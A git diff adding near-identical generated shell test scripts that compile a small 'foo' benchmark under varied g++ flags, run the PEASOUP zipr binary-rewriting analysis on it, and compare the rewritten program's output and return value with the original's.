+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..467399749877eb48ed4ef47c8b6d814f92db6398
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f25c9ebf3a81ee9473ffe53d6ebd44c13660a643
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5b3f54f52b5918d5e3f67fbf6a6380b56b5778ec
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b1c7e7e60ab8a1d8c4e35fbfe59892147c1d8574
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8b0ec6481ef4d67a44b6a4cf683fb7e80ec3c116
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1f2e0d765dac4e25ed1870d1a89017b109107cbc
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
